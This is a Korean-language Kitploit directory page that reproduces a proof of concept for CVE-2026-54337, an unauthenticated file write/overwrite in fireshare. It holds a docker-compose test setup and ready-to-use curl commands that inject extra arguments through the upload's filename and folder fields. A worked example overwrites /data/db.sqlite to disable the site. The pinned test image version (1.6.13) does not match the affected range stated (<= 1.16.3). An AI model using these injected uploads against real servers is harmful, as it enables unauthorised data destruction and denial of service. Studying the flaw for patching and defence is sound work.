Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-54337-PoC — CVE-2026-54337 - fireshare <= 1.16.3에 대한 인증되지 않은 파일 쓰기/덮어쓰기 PoC | Kitploit
도구/GitHubGitHub/4qu4r1um/cve-2026-54337-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHub4qu4r1um/cve-2026-54337-poc

CVE-2026-54337-PoC

CVE-2026-54337 - fireshare <= 1.16.3에 대한 인증되지 않은 파일 쓰기/덮어쓰기 PoC

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-54337 PoC

CVE-2026-54337 - fireshare <= 1.16.3에서의 인증되지 않은 파일 쓰기/덮어쓰기 PoC

자세한 내용은 이 GitHub 보안 권고를 참조하세요.

설정

  • 테스트를 위해 다음 docker-compose.yml을 사용하세요.
root@kitploit:~
services:
  fireshare:
    container_name: fireshare-temp
    image: shaneisrael/fireshare:1.6.13-lite

    ports:
      - "8082:80"

    # 임시 저장소 (컨테이너 중지 시 폐기)
    tmpfs:
      - /data
      - /processed
      - /videos
      - /images

    environment:
      - ADMIN_USERNAME=admin
      - ADMIN_PASSWORD=admin123
      - SECRET_KEY=fireshare-super-secret-random-key
      - DOMAIN=
      - PUID=1000
      - PGID=1000

    restart: unless-stopped

익스플로잇

  • 1단계: .mp4 확장자로 이름을 지정하기만 하면 어떤 파일이든 생성합니다. 예:
root@kitploit:~
$ echo 123 > test.mp4
  • 2단계: 다음 curl 명령을 실행합니다 (자리 표시자를 반드시 변경하세요)
root@kitploit:~
$ curl -s -w "HTTP %{http_code}\n" \
  -F "file=@<FILEPATH>;filename=<덮어쓰기/쓰기할 파일> -select_streams v.mp4" \
  -F "folder=testfolder -o <파일을 넣을 디렉토리>" \
  http://<URL>/api/upload/public

예를 들어, /data/db.sqlite를 덮어쓰려면 명령을 다음과 같이 변경합니다.

root@kitploit:~
$ curl -s -w "HTTP %{http_code}\n" \
  -F "file=@<FILEPATH>;filename=db.sqlite -select_streams v.mp4" \
  -F "folder=testfolder -o data" \
  http://<URL>/api/upload/public

참고

  • 기본적으로 서비스는 nginx 사용자로 실행되며, 이 사용자는 /data, /processed, /images, /videos에만 접근 권한이 있으므로 해당 디렉토리에만 쓰기/덮어쓰기가 가능합니다.
  • 따라서 제 생각에 /data/db.sqlite를 덮어쓰는 것이 가장 큰 영향을 미치며, 웹사이트를 사용할 수 없게 만듭니다.

면책 조항

  • 이 개념 증명(PoC)은 교육, 연구 및 방어 보안 목적으로만 제공됩니다.
  • 저자는 이 코드의 사용으로 인한 어떠한 오용, 손해, 무단 접근, 서비스 중단, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다. 사용자는 이 PoC를 사용하기 전에 모든 관련 법률, 규정 및 승인 요구 사항을 준수할 책임이 전적으로 있습니다.
  • 이 PoC는 명시적 테스트 허가를 받은 시스템에서만 실행되어야 합니다. 승인되지 않은 시스템 테스트는 불법적이고 비윤리적일 수 있습니다.
  • 이 소프트웨어를 사용함으로써 귀하는 자신의 책임 하에 사용한다는 것을 인정하는 것입니다.
도구 다운로드